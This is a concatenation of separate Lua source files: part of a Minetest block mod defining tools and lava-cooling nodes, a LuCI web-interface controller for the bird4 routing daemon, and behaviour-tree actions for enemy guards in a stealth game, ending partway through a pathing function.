damage_groups = {fleshy=4},
},
})
minetest.register_tool("gloopblocks:axe_cement", {
description = S("Cement Axe"),
inventory_image = "gloopblocks_cement_axe.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=1,
groupcaps={
choppy={times={[1]=3.00, [2]=1.30, [3]=0.80}, uses=25, maxlevel=2},
fleshy={times={[2]=1.20, [3]=0.65}, uses=30, maxlevel=1}
},
damage_groups = {fleshy=4},
},
})
minetest.register_tool("gloopblocks:sword_cement", {
description = S("Cement Sword"),
inventory_image = "gloopblocks_cement_sword.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=1,
groupcaps={
fleshy={times={[1]=1.60, [2]=0.80, [3]=0.40}, uses=15, maxlevel=2},
snappy={times={[2]=0.75, [3]=0.35}, uses=30, maxlevel=1},
choppy={times={[3]=0.80}, uses=30, maxlevel=0}
},
damage_groups = {fleshy=6},
}
})
minetest.register_tool("gloopblocks:pick_evil", {
description = S("Evil Pickaxe"),
inventory_image = "gloopblocks_evil_pick.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=3,
groupcaps={
cracky={times={[1]=0.10, [2]=0.10, [3]=0.10}, uses=10, maxlevel=2}
},
damage_groups = {fleshy=6},
},
})
minetest.register_tool("gloopblocks:shovel_evil", {
description = S("Evil Shovel"),
inventory_image = "gloopblocks_evil_shovel.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=3,
groupcaps={
crumbly={times={[1]=0.05, [2]=0.05, [3]=0.05}, uses=10, maxlevel=2}
},
damage_groups = {fleshy=6},
},
})
minetest.register_tool("gloopblocks:axe_evil", {
description = S("Evil Axe"),
inventory_image = "gloopblocks_evil_axe.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=3,
groupcaps={
choppy={times={[1]=0.15, [2]=0.15, [3]=0.15}, uses=10, maxlevel=2},
fleshy={times={[1]=0.15, [2]=0.15, [3]=0.15}, uses=10, maxlevel=2}
},
damage_groups = {fleshy=6},
},
})
minetest.register_tool("gloopblocks:sword_evil", {
description = S("Evil Sword"),
inventory_image = "gloopblocks_evil_sword.png",
tool_capabilities = {
full_punch_interval = 1.0,
max_drop_level=3,
groupcaps={
fleshy={times={[1]=0.20, [2]=0.20, [3]=0.20}, uses=10, maxlevel=2},
snappy={times={[1]=0.20, [2]=0.20, [3]=0.20}, uses=10, maxlevel=2},
choppy={times={[1]=0.20, [2]=0.20, [3]=0.20}, uses=10, maxlevel=2}
},
damage_groups = {fleshy=8},
}
})
-- Other items
minetest.register_craftitem("gloopblocks:wet_cement", {
description = S("Wet Cement"),
inventory_image = "gloopblocks_wet_cement.png",
})
minetest.register_craftitem("gloopblocks:evil_stick", {
description = S("Evil Stick"),
inventory_image = "gloopblocks_evil_stick.png",
})
-- define lava-cooling-based nodes and hook into the default lavacooling
-- functions to generate basalt, pumice, and obsidian
if minetest.setting_getbool("gloopblocks_lavacooling") ~= false then
minetest.register_node("gloopblocks:obsidian_cooled", {
description = S("Obsidian"),
tiles = {"default_obsidian.png"},
is_ground_content = true,
sounds = default.node_sound_stone_defaults(),
groups = {cracky=1, level=2, not_in_creative_inventory=1},
drop = "default:obsidian",
after_place_node = function(pos, placer, itemstack, pointed_thing)
minetest.add_node(pos, {name = "default:obsidian"})
end
})
minetest.register_node("gloopblocks:basalt_cooled", {
description = S("Basalt"),
tiles = {"gloopblocks_basalt.png"},
groups = {cracky=2, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
drop = "gloopblocks:basalt",
after_place_node = function(pos, placer, itemstack, pointed_thing)
minetest.add_node(pos, {name = "gloopblocks:basalt"})
end
})
minetest.register_node("gloopblocks:pumice_cooled", {
description = S("Pumice"),
tiles = {"gloopblocks_pumice.png"},
groups = {cracky=3, not_in_creative_inventory=1},
sounds = default.node_sound_stone_defaults(),
drop = "gloopblocks:pumice",
after_place_node = function(pos, placer, itemstack, pointed_thing)
minetest.add_node(pos, {name = "gloopblocks:pumice"})
end
})
local gloopblocks_search_nearby_nodes = function(pos, node)
if minetest.get_node({x=pos.x-1, y=pos.y, z=pos.z}).name == node then return true end
if minetest.get_node({x=pos.x+1, y=pos.y, z=pos.z}).name == node then return true end
if minetest.get_node({x=pos.x, y=pos.y-1, z=pos.z}).name == node then return true end
if minetest.get_node({x=pos.x, y=pos.y+1, z=pos.z}).name == node then return true end
if minetest.get_node({x=pos.x, y=pos.y, z=pos.z-1}).name == node then return true end
if minetest.get_node({x=pos.x, y=pos.y, z=pos.z+1}).name == node then return true end
return false
end
default.cool_lava_source = function(pos)
if gloopblocks_search_nearby_nodes(pos,"default:water_source")
or gloopblocks_search_nearby_nodes(pos,"default:water_flowing") then
minetest.set_node(pos, {name="gloopblocks:obsidian_cooled"})
end
end
default.cool_lava_flowing = function(pos)
if gloopblocks_search_nearby_nodes(pos,"default:water_source") then
minetest.set_node(pos, {name="gloopblocks:basalt_cooled"})
elseif gloopblocks_search_nearby_nodes(pos,"default:water_flowing") then
minetest.set_node(pos, {name="gloopblocks:pumice_cooled"})
end
end
end
dofile(minetest.get_modpath("gloopblocks").."/crafts.lua")
print(S("Gloopblocks Loaded!"))
|
--[[
Copyright (C) 2014-2017 - Eloi Carbo
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
--]]
module("luci.controller.bird4", package.seeall)
function index()
entry({"admin", "network", "bird4",},
alias("admin", "network", "bird4", "status"),
_("Bird4"), 0)
entry({"admin", "network", "bird4", "status"},
cbi("bird4/status"),
_("Status"), 0).leaf = true
entry({"admin","network","bird4","log"},
template("bird4/log"),
_("Log"), 1).leaf = true
entry({"admin", "network", "bird4", "overview"},
cbi("bird4/overview"),
_("Overview"), 2).leaf = true
entry({"admin","network","bird4","proto_general"},
cbi("bird4/gen_proto"),
_("General protocols"), 3).leaf = true
entry({"admin","network","bird4","proto_bgp"},
cbi("bird4/bgp_proto"),
_("BGP Protocol"), 4).leaf = true
entry({"admin","network","bird4","filters"},
cbi("bird4/filters"),
_("Filters"), 5).leaf = true
entry({"admin","network","bird4","functions"},
cbi("bird4/functions"),
_("Functions"), 6).leaf = true
end
|
return {'wysiwyg'}
|
local abilitydefs = include( "sim/abilitydefs" )
local simdefs = include( "sim/simdefs" )
local simquery = include( "sim/simquery" )
local btree = include("sim/btree/btree")
local util = include( "modules/util" )
local mathutil = include( "modules/mathutil" )
local abilitydefs = include( "sim/abilitydefs" )
local speechdefs = include( "sim/speechdefs" )
local inventory = include("sim/inventory")
local function checkForDeployedItem(unit)
local cell = unit:getSim():getCell(unit:getLocation() )
local units = {}
for i,checkUnit in ipairs(cell.units) do
if checkUnit ~= unit and checkUnit:getTraits().deployed and inventory.canCarry(unit, checkUnit) then
table.insert(units,checkUnit)
end
end
return units
end
local function doTrackerAlert(sim, unit)
if unit:getTraits().trackerAlert then
local tracker, text, x0, y0 = unpack( unit:getTraits().trackerAlert )
sim:dispatchEvent( simdefs.EV_UNIT_FLOAT_TXT, {txt=util.sformat( STRINGS.UI.ALARM_ADD, tracker ),x=x0,y=y0,color={r=255/255,g=10/255,b=10/255,a=1}} )
sim:trackerAdvance( tracker, text )
unit:getTraits().trackerAlert = nil
end
end
local Actions = {}
--[[
Actions are the nodes of a behaviour tree that make changes in the world. There are two types:
Simple actions use the btree.Action class to create a node that has a function to call when the
action should happen. They are just functions that get passed a sim, the current unit and the current
memory and can then do something with it. Action functions should return what behaviour state they are
in: BSTATE_COMPLETE if the action happens successfully, BSTATE_FAILED if the action could not be completed
, BSTATE_WAITING if the action should be tried again later and BSTATE_RUNNING if the action should be called again immediately.
Class actions are classes based on the btree.BaseAction class. They can define onInitialise, update and
onTerminate functions, and save their own state.
Generally, it's preferable to save state in the persistent memory that inside the action itself, and so
simple actions should be used most of the time
]]--
--Simple Actions
function Actions.MeleeTarget(sim, unit)
if not unit:getBrain():getTarget() then
return simdefs.BSTATE_FAILED
end
local abilityDef = unit:ownsAbility( "melee" )
if unit:canUseAbility( sim, abilityDef, unit, unit:getBrain():getTarget():getID() ) then
abilityDef:executeAbility( sim, unit, unit, unit:getBrain():getTarget():getID() )
return simdefs.BSTATE_COMPLETE
end
end
function Actions.ShootAtTarget(sim, unit)
if not unit:getBrain():getTarget() then
return simdefs.BSTATE_FAILED
end
local target = unit:getBrain():getTarget() --we should only have the target if we can see them
local canShoot = unit:canReact() or unit:getBrain():getSenses():hasLostTarget(target) --if they run into cover and then back out, they need to get shot
if canShoot and unit:isAiming() and target:isValid() then
local abilityDef = unit:ownsAbility( "shootSingle" )
if abilityDef and abilityDef:canUseAbility( sim, unit, unit, target:getID() ) then
abilityDef:executeAbility( sim, unit, unit, target:getID() )
--This could result in getting overwatch shot in return
if not unit:isValid() then
return simdefs.BSTATE_FAILED
end
if target:isDead() or target:isKO() or not target:isValid() then
if target:getTraits().mainframe_turret then
unit:getSim():emitSpeech( unit, speechdefs.COMBAT_TURRETDESTROYED )
else
unit:getSim():emitSpeech( unit, speechdefs.COMBAT_TARGETDESTROYED )
end
end
return simdefs.BSTATE_COMPLETE
end
else
if not unit:isAiming() then
local abilityDef = unit:ownsAbility("overwatch")
if abilityDef then
abilityDef:executeAbility(sim, unit, unit, target:getID())
doTrackerAlert(sim, unit)
if sim:getCurrentPlayer() == unit:getPlayerOwner() then
return simdefs.BSTATE_WAITINGFORPCTURN
end
end
end
end
return simdefs.BSTATE_WAITINGFORCORPTURN
end
function Actions.MarkInterestInvestigated(sim, unit)
if not unit:getBrain():getInterest() then
return simdefs.BSTATE_FAILED
end
sim:dispatchEvent( simdefs.EV_UNIT_DEL_INTEREST, {unit = unit, interest = unit:getBrain():getInterest()} )
if unit:getBrain():getSituation().ClassType == simdefs.SITUATION_HUNT then
unit:getBrain():getSituation():markHuntTargetSearched(unit)
elseif unit:getBrain():getSituation().ClassType == simdefs.SITUATION_INVESTIGATE then
unit:getBrain():getSituation():markInterestInvestigated(unit)
end
local units = checkForDeployedItem(unit)
if #units > 0 then
local pickedUpUnit
local destroyedUnit = false
for i,pickUpUnit in ipairs(units) do
local abilityDef = pickUpUnit:ownsAbility( "carryable" )
if abilityDef and abilityDef:canUseAbility( sim, pickUpUnit, unit) then
abilityDef:executeAbility( sim, pickUpUnit, unit )
pickedUpUnit = pickUpUnit
elseif unit:getTraits().isDrone then
sim:warpUnit( pickUpUnit )
sim:despawnUnit( pickUpUnit )
destroyedUnit = true
end
end
if destroyedUnit then
local params = {color ={{symbol="inner_line",r=1,g=0,b=0,a=0.75},{symbol="wall_digital",r=1,g=0,b=0,a=0.75},{symbol="boxy_tail",r=1,g=0,b=0,a=0.75},{symbol="boxy",r=1,g=0,b=0,a=0.75}} }
sim:dispatchEvent( simdefs.EV_UNIT_ADD_FX, { unit = unit, kanim = "fx/emp_effect", symbol = "character", anim="idle", above=true, params=params} )
local x1, y1 = unit:getLocation()
sim:dispatchEvent( simdefs.EV_PLAY_SOUND, {sound="SpySociety/HitResponse/hitby_tazer_flesh", x=x1,y=y1} )
end
end
return simdefs.BSTATE_COMPLETE
end
function Actions.RemoveInterest(sim, unit)
if not unit:getBrain():getInterest() then
return simdefs.BSTATE_FAILED
end
sim:dispatchEvent( simdefs.EV_UNIT_DEL_INTEREST, {unit = unit, interest = unit:getBrain():getInterest()} )
sim:triggerEvent( simdefs.TRG_DEL_INTEREST, {unit = unit, interest = unit:getBrain():getInterest()} )
return simdefs.BSTATE_COMPLETE
end
function Actions.FinishSearch(sim, unit)
sim:emitSpeech(unit, speechdefs.INVESTIGATE_FINISH )
sim:dispatchEvent( simdefs.EV_UNIT_DONESEARCHING, {unit = unit} )
return simdefs.BSTATE_COMPLETE
end
local function checkLookaround( sim, unit, delta )
local x0, y0 = unit:getLocation()
local dir = unit:getFacing()
local probeCells = {}
if unit:getTraits().no_look_around then
-- reserved for units that don't peek or drone scan
elseif unit:getTraits().lookaroundRange then
local fillCells = simquery.fillCircle( sim, x0, y0, unit:getTraits().lookaroundRange, 0)
for i, cell in ipairs(fillCells) do
if cell.x ~= x0 or cell.y ~= y0 then
local raycastX, raycastY = sim:getLOS():raycast(x0, y0, cell.x, cell.y)
if raycastX == cell.x and raycastY == cell.y then
table.insert(probeCells, cell)
end
end
end
else
local cell = sim:getCell( x0, y0 )
if (dir % 2) == 0 then
local dx, dy = simquery.getDeltaFromDirection( dir )
local facing = (dir + delta*2) % simdefs.DIR_MAX
if simquery.isOpenExit( cell.exits[ dir ] ) then
-- If possible, probe orthogonally to our current facing.
probeCells = sim:getLOS():probeLOS( x0 + dx, y0 + dy, facing, unit:getTraits().LOSrange )
end
if #probeCells == 0 and simquery.isOpenExit( cell.exits[ facing ] ) then
-- If you can't probe that way, probe a cell over down the axis of our actual facing.
local dx, dy = simquery.getDeltaFromDirection( facing )
probeCells = sim:getLOS():probeLOS( x0 + dx, y0 + dy, dir, unit:getTraits().LOSrange )
end
else
-- On a diagonal, probe a cell in front down the cardinal axis to the left/right
local dx, dy = simquery.getDeltaFromDirection( dir )
if simquery.isConnected( sim, cell, sim:getCell( x0 + dx, y0 + dy )) then
local facing = (dir + delta) % simdefs.DIR_MAX
probeCells = sim:getLOS():probeLOS( x0 + dx, y0 + dy, facing, unit:getTraits().LOSrange )
end
end
end
if sim:isVersion( "0.17.9" ) then
sim:dispatchEvent( simdefs.EV_PULSE_SCAN, {unit=unit, cells=probeCells, range=unit:getTraits().lookaroundRange} )
end
for i, cell in ipairs(probeCells) do
if sim:isVersion( "0.17.9" ) and unit:getTraits().lookaroundRange then
sim:scanCell( unit, cell, true )
else
for j, targetUnit in ipairs(cell.units) do
-- it the looker is a drone, it's scanning and should find disguised targets.
local ingnoreDisguise = false
-- if sim:isVersion( "0.17.9" ) and unit:getTraits().lookaroundRange then
-- ingnoreDisguise = true
-- end
if simquery.isEnemyAgent(unit:getPlayerOwner(), targetUnit, ingnoreDisguise) and simquery.couldUnitSee(sim, unit, targetUnit, true) then
if not sim:canUnitSeeUnit(unit, targetUnit) then
unit:getBrain():getSenses():addInterest(cell.x, cell.y, simdefs.SENSE_PERIPHERAL, simdefs.REASON_NOTICED, targetUnit, ingnoreDisguise)
end
end
end
end
end
return probeCells
end
local function overrideUnitLOS(sim, unit, facingRad, losArc, delta )
local oldRads = unit:getTraits().LOSrads
local oldArc = unit:getTraits().LOSarc
local oldPeripheralArc = unit:getTraits().LOSperipheralArc
local oldRange = unit:getTraits().LOSrange
unit:getTraits().LOSrads = facingRad
unit:getTraits().LOSarc = losArc
unit:getTraits().LOSperipheralArc = nil
sim:refreshUnitLOS( unit )
checkLookaround( sim, unit, delta )
sim:processReactions(unit)
unit:getTraits().LOSrads = oldRads
unit:getTraits().LOSarc = oldArc
unit:getTraits().LOSperipheralArc = oldPeripheralArc
end
function Actions.DoLookAround(sim, unit )
if unit:getTraits().no_look_around then
return simdefs.BSTATE_COMPLETE
end
local cell = sim:getCell(unit:getLocation())
local exitDir = unit:getFacing()
local exit = cell.exits[exitDir]
if exit and exit.door and exit.closed and not exit.locked then
sim:modifyExit(cell, exitDir, simdefs.EXITOP_OPEN, unit)
end
if unit:isValid() and not unit:isKO() then
if unit:isAlerted() then
sim:emitSpeech( unit, speechdefs.HUNT_SEARCH )
else
sim:emitSpeech( unit, speechdefs.INVESTIGATE_SEARCH )
end
unit:setAiming( false )
unit:getTraits().lookingAround = true
if unit:getTraits().lookaroundRange then
local cells = checkLookaround( sim, unit )
if #cells > 0 then
sim:dispatchEvent( simdefs.EV_UNIT_LOOKAROUND, { unit = unit, part="scan", cells=cells} )
end
sim:processReactions(unit)
else
-- Quarter circle, minus half the default guard's LOS arc, so that its edge aligns with 180.
local FACING_OFFSET = unit:getTraits().lookaroundOffset or (math.pi/4 - math.pi/16)
local lookaroundArc = unit:getTraits().lookaroundArc or (math.pi/2 + math.pi/8)
local dir = unit:getFacing()
sim:dispatchEvent( simdefs.EV_UNIT_LOOKAROUND, { unit = unit, part="right" } )
overrideUnitLOS( sim, unit, unit:getFacingRad() - FACING_OFFSET, lookaroundArc, -1)
if unit:isValid() and not unit:getTraits().interrupted then
sim:dispatchEvent( simdefs.EV_UNIT_LOOKAROUND, { unit = unit, part="right_post" } )
end
if unit:isValid() and not unit:getTraits().interrupted then
sim:dispatchEvent( simdefs.EV_UNIT_LOOKAROUND, { unit = unit, part="left" } )
overrideUnitLOS( sim, unit, unit:getFacingRad() + FACING_OFFSET, lookaroundArc, 1)
end
if unit:isValid() then
if not unit:getTraits().interrupted then
sim:dispatchEvent( simdefs.EV_UNIT_LOOKAROUND, { unit = unit, part="left_post" } )
sim:dispatchEvent( simdefs.EV_UNIT_LOOKAROUND, { unit = unit, part="post" } )
end
sim:refreshUnitLOS(unit) --return to normal LOS
if not unit:getTraits().interrupted then
sim:processReactions(unit)
end
end
end
unit:getTraits().lookingAround = nil
if unit:getTraits().interrupted then
-- ccc: don't want to walk any further if we saw something, so consume all MP.
--- (but shouldn't there a way to prevent further behaviours just by returning the correct BSTATE_FAILED?)
if unit:isValid() then
unit:useMP( unit:getMP(), sim )
end
return simdefs.BSTATE_FAILED
end
return simdefs.BSTATE_COMPLETE
end
end
function Actions.ReactToTarget(sim, unit)
local target = unit:getBrain():getTarget()
if not target or not target:isValid() then
return simdefs.BSTATE_FAILED
end
local x0,y0 = unit:getLocation()
local x1,y1 = target:getLocation()
if not x1 or not y1 then --it's possible our target is in someone's inventory
return simdefs.BSTATE_FAILED
end
unit:turnToFace(x1, y1)
--turning could change our target
target = unit:getBrain():getTarget()
if unit:isValid() and target and target:isValid() and target:getLocation() and unit:getTraits().camera_drone then
sim:dispatchEvent( simdefs.EV_UNIT_ALERTED, { unitID = unit:getID() } )
sim:triggerEvent( simdefs.TRG_NEW_INTEREST, { x=x0, y=y0, range=0, target=target, interest={x=x1, y=y1, sourceUnit=unit} })
target:interruptMove(sim, unit)
elseif unit:isValid() and target and target:isValid() and target:getLocation() then
sim:dispatchEvent( simdefs.EV_UNIT_ALERTED, { unitID = unit:getID() } )
if target:getTraits().mainframe_turret then
unit:getSim():emitSpeech( unit, speechdefs.COMBAT_NEWTURRET )
else
unit:getSim():emitSpeech( unit, speechdefs.COMBAT_NEWTARGET )
end
sim:triggerEvent( simdefs.TRG_NEW_INTEREST, { x=x0, y=y0, range=simdefs.SOUND_RANGE_2, target=target, interest={x=x1, y=y1, sourceUnit=unit} })
target:interruptMove(sim, unit)
sim:dispatchEvent( simdefs.EV_UNIT_ENGAGED, unit )
end
return simdefs.BSTATE_COMPLETE
end
function Actions.WatchTarget(sim, unit)
if not unit:getBrain():getTarget() then
return simdefs.BSTATE_FAILED
end
local x1,y1 = unit:getBrain():getTarget():getLocation()
unit:turnToFace(x1, y1)
doTrackerAlert(sim, unit)
if not unit:canReact() then
return simdefs.BSTATE_WAITINGFORCORPTURN
end
return simdefs.BSTATE_COMPLETE
end
function Actions.MarkHuntTargetSearched(sim, unit)
if unit:getBrain():getSituation().ClassType ~= simdefs.SITUATION_HUNT then
return simdefs.BSTATE_FAILED
end
sim:dispatchEvent( simdefs.EV_UNIT_DEL_INTEREST, {unit = unit, interest = unit:getBrain():getInterest()} )
sim:triggerEvent( simdefs.TRG_DEL_INTEREST, {unit = unit, interest = unit:getBrain():getInterest()} )
unit:getBrain():getSituation():markHuntTargetSearched(unit)
return simdefs.BSTATE_COMPLETE
end
function Actions.RequestNewHuntTarget(sim, unit)
if unit:getBrain():getSituation().ClassType ~= simdefs.SITUATION_HUNT then
return simdefs.BSTATE_FAILED
end
local rememberedInterest = unit:getBrain():getSenses():getRememberedInterest()
if rememberedInterest then
unit:getBrain():getSituation():overrideHuntTarget(unit, rememberedInterest)
else
unit:getBrain():getSituation():requestNewHuntTarget(unit)
end
return simdefs.BSTATE_COMPLETE
end
function Actions.ReactToInterest(sim, unit)
local interest = unit:getBrain():getInterest()
if not interest then
return simdefs.BSTATE_FAILED
end
if interest.noticed then --we already reacted!
return simdefs.BSTATE_COMPLETE
end
sim:dispatchEvent( simdefs.EV_UNIT_ALERTED, { unitID = unit:getID() } )
if interest.reason == simdefs.REASON_WITNESS then
if not interest.sourceUnit:getPlayerOwner() or interest.sourceUnit:getPlayerOwner() == unit:getPlayerOwner() then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_SAW )
end
elseif interest.reason == simdefs.REASON_KO then
--no need for speech, they already spoke when they woke up
elseif interest.reason == simdefs.REASON_PATROLCHANGED then
--no need to say anything, Central talks about it
elseif interest.reason == simdefs.REASON_REINFORCEMENTS then
if unit:isAlerted() then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_REINFORCEMENT )
else
unit:getSim():emitSpeech( unit, speechdefs.INVESTIGATE_REINFORCEMENT )
end
elseif interest.reason == simdefs.REASON_NOISE then
if unit:isAlerted() then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_NOISE)
else
unit:getSim():emitSpeech( unit, speechdefs.INVESTIGATE_NOISE )
end
elseif interest.reason == simdefs.REASON_FOUNDCORPSE then
if interest.sourceUnit:getPlayerOwner() and interest.sourceUnit:getPlayerOwner() ~= unit:getPlayerOwner() then
if interest.sourceUnit:getTraits().mainframe_turret then
unit:getSim():emitSpeech( unit, speechdefs.COMBAT_TURRETDESTROYED )
else
unit:getSim():emitSpeech( unit, speechdefs.COMBAT_TARGETDESTROYED )
end
if unit:isAiming() then
unit:setAiming(false)
unit:getSim():dispatchEvent(simdefs.EV_UNIT_OVERWATCH, { cancel=true, unit = unit} )
end
else
if interest.sourceUnit:getTraits().wasDrone then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_DRONE)
else
unit:getSim():emitSpeech( unit, speechdefs.HUNT_CORPSE )
end
end
elseif interest.reason == simdefs.REASON_FOUNDDRONE then
if unit:isAlerted() then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_DRONE)
else
unit:getSim():emitSpeech( unit, speechdefs.INVESTIGATE_DRONE)
end
elseif interest.reason == simdefs.REASON_DOOR then
if unit:isAlerted() then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_SAW)
else
unit:getSim():emitSpeech( unit, speechdefs.INVESTIGATE_SAW )
end
elseif interest.reason == simdefs.REASON_LOSTTARGET then
--a bit of wizardry! Guards will magically know if a target is down and not say anything
if not interest.sourceUnit:isKO() and not interest.sourceUnit:isDead() then
if not sim:hasTag("lostTargetSpeech") then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_LOSTTARGET )
sim:getTags().lostTargetSpeech = true
end
end
elseif interest.reason == simdefs.REASON_FOUNDOBJECT or interest.reason == simdefs.REASON_SMOKE then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_FOUNDOBJECT)
else --generic
if unit:isAlerted() then
local speak = true
local situation = unit:getBrain():getSituation()
if situation.ClassType == simdefs.SITUATION_HUNT and sim:isVersion( "0.17.9" ) then
util.tprint(situation.huntTargets)
for i,target in pairs(situation.huntTargets)do
if type(target) == "table" then
targetUnit = sim:getUnit(i)
local x1,y1 = unit:getLocation()
local x2,y2 = targetUnit:getLocation()
local cell = sim:getCell( x2,y2 )
local interest = unit:getBrain():getInterest()
if i ~= unit:getID() and target.noticed == true and cell and interest.x == x2 and interest.y == y2 and simquery.couldUnitSeeCell(sim, unit, cell ) then
print("block speech")
speak = false
end
end
end
end
if speak then
unit:getSim():emitSpeech( unit, speechdefs.HUNT_GENERIC )
end
else
unit:getSim():emitSpeech( unit, speechdefs.INVESTIGATE_GENERIC )
end
end
if unit:canReact() then
unit:turnToFace(interest.x, interest.y)
end
interest.noticed = true
doTrackerAlert(sim, unit)
return simdefs.BSTATE_COMPLETE
end
function Actions.FaceNextPatrolPoint(sim, unit)
local patrolPoint = unit:getBrain():getPatrolPoint()
if patrolPoint then
unit:turnToFace(patrolPoint.x, patrolPoint.y)
return simdefs.BSTATE_COMPLETE
end
end
function Actions.Panic(sim, unit)
sim:dispatchEvent( simdefs.EV_UNIT_ALERTED, { unitID = unit:getID() } )
if unit:getBrain():getTarget() then
unit:getSim():emitSpeech( unit, speechdefs.FLEE_STARTLED )
elseif unit:getBrain():getInterest() and not unit:getBrain():getInterest().noticed then
unit:getSim():emitSpeech( unit, speechdefs.FLEE_PANIC )
unit:getBrain():getInterest().noticed = true
end
sim:dispatchEvent( simdefs.EV_UNIT_REFRESH, { unit = unit } )
doTrackerAlert(sim, unit)
return simdefs.BSTATE_COMPLETE
end
function Actions.Cower(sim, unit)
unit:getSim():emitSpeech( unit, speechdefs.FLEE_COWER )
if unit:getBrain():getInterest() then
unit:getBrain():getInterest().investigated = true
end
return simdefs.BSTATE_COMPLETE
end
function Actions.ExitLevel(sim, unit)
local cell = sim:getCell(unit:getLocation() )
if not cell then
return simdefs.BSTATE_FAILED
end
if not simquery.cellHasTag(sim, cell, "guard_spawn") then
return simdefs.BSTATE_FAILED
end
if unit:getTraits().vip then
local units = {unit}
sim:dispatchEvent( simdefs.EV_TELEPORT, { units=units, warpOut =true } )
sim:triggerEvent( "vip_escaped" , {unit=unit} )
end
sim:warpUnit( unit, nil )
sim:despawnUnit( unit )
return simdefs.BSTATE_COMPLETE
end
--------------------------------------------------------------------------------------------------------------------
-- Class actions
-------------------------------------------------------------------------------------------------
Actions.UseAbility = class(btree.BaseAction, function(self, abilityID)
local abilityDef = abilitydefs.lookupAbility( abilityID )
local name = abilityDef and abilityDef.name
if name then
--some actions have an unnecessary addition to them
name = name:gsub("\nACTION", "")
end
btree.BaseAction.init(self, name or "Unknown Ability")
self.ability = abilityID
end)
function Actions.UseAbility:update()
local abilityDef = self.unit:hasAbility( self.ability )
if abilityDef and self.unit:canUseAbility( self.sim, abilityDef, self.unit ) then
abilityDef:executeAbility( self.sim, self.unit, self.unit )
return simdefs.BSTATE_COMPLETE
end
return simdefs.BSTATE_FAILED
end
------------------------------------------------------------------------------------------------------
Actions.MoveTo = class(btree.BaseAction, function(self, name)
btree.BaseAction.init(self, name or "Base Move Action")
end)
function Actions.MoveTo:calculatePath(unit)
unit:getPather():calculatePath(unit)
local path = unit:getPather():getPath(unit)
if path and path.path then
if unit:getTraits().dynamicImpass then
unit:getPather():reservePath(path)
end
else
if self.onNoPath then
return self:onNoPath()
end
end
unit:getSim():dispatchEvent( simdefs.EV_UNIT_GOALS_UPDATED, {unitID = unit:getID()} )
return simdefs.BSTATE_RUNNING
end
function Actions.MoveTo:executePath(unit)
local path = unit:getPather():getPath(unit)
if not path then
return simdefs.BSTATE_FAILED
end
if not path.path then
return simdefs.BSTATE_WAITING
end
simlog(simdefs.LOG_PATH, "(%d) - Executing Path", unit:getID() )
local sim = unit:getSim()
path.iter = path.iter + 1
if not unit or not unit:isValid() or unit:isKO() or unit:isDead() then
-- Unit must have perished during path execution.
path.result = simdefs.CANMOVE_FAILED
elseif path.result then
-- Path already has a result, fuck it. Probably failed early.
-- ccc: this clause is dumb, why is there a path.result and yet we are in the processing list? Should be mutually exclusive.
-- Currently it's because of the else clause of 'if #moveTable > 0'
assert( false, string.format( "[%d] PATH has result %s", unit:getID(), path.result ))
elseif path.iter > 10 then
log:write("%d] PATH - bailing; not complete after %d iterations", unit:getID(), path.iter)
path.result = simdefs.CANMOVE_FAILED
unit:getPather():unreservePath(path)
else
local x0, y0 = unit:getLocation()
local nodes = path.path:getNodes()
local actions = path.actions
--simlog( simdefs.LOG_PATH, "%d] EXECUTE PATH from (%d, %d) -> (%d, %d) [%d nodes]", unit:getID(), x0, y0, path.goalx, path.goaly, #nodes )
-- Assume success; if an error occurs, path.result will be overwritten with the reason.
path.result = simdefs.CANMOVE_OK
local moveTable = {}
local moveAction = nil
assert( #nodes > 0 )
while #nodes > 0 do
local pathNode = table.remove( nodes, 1 )
-- is already reserved at pathNode's location, but at a lower t? then wait
if pathNode.location.x == path.currentNode.location.x and pathNode.location.y == path.currentNode.location.y then
-- If this path node is a PAUSE (same location as the previous node) then don't bother checking for reservations,
-- or we'll HALT on ourselves.
else
for i = 0, pathNode.t-1 do
local reservation = unit:getPather():checkPathReservation(pathNode.location.x, pathNode.location.y, i)
if reservation then
--simlog( simdefs.LOG_PATH, "\tHALTING -- for reservation at (%d, %d, t = %d > %d)", pathNode.location.x, pathNode.location.y, pathNode.t, i )
table.insert( nodes, 1, pathNode )
path.result = nil -- Clear result, otherwise this path will bail on reprocessing.
pathNode = nil
break
end
end
end
if pathNode then
local action = unit:getPather():getActionForNode(path, path.currentNode)
if action then
table.insert( nodes, 1, pathNode )
path.actions[path.currentNode.lid] = nil
moveAction = action
if moveAction.keepPathing then
path.result = nil
end
break
end
local prevx, prevy = x0, y0
if #moveTable > 0 then
prevx, prevy = moveTable[ #moveTable ].x, moveTable[ #moveTable ].y
end
if pathNode.location.x ~= prevx or pathNode.location.y ~= prevy then
table.insert( moveTable, { x = pathNode.location.x, y = pathNode.location.y, lid = pathNode.lid } )
end
-- Unreserve the previous node immediately, even before we know whether the move can be completed.
-- If the movement fails below, we still unreserve the entire path anyways (no point in keeping
-- reservations we can't honor!)
unit:getPather():unreserveNode(path, path.currentNode)
path.currentNode = pathNode
else
break
end
end
if #moveTable > 0 then
if path.goaldir then
moveTable[#moveTable].facing = path.goaldir
end
local canMoveReason, end_cell = sim:moveUnit( unit, moveTable)
x0, y0 = unit:getLocation()
if not unit:isValid() or unit:getPather():getPath(unit) ~= path then
-- The movement resulted in this path being eradicated, so we literally care about nothing from here on out, and it has
-- already been cleaned up.
-- simlog("\tPATH [%d] REMOVED (aborting)", path.unit:getID() );
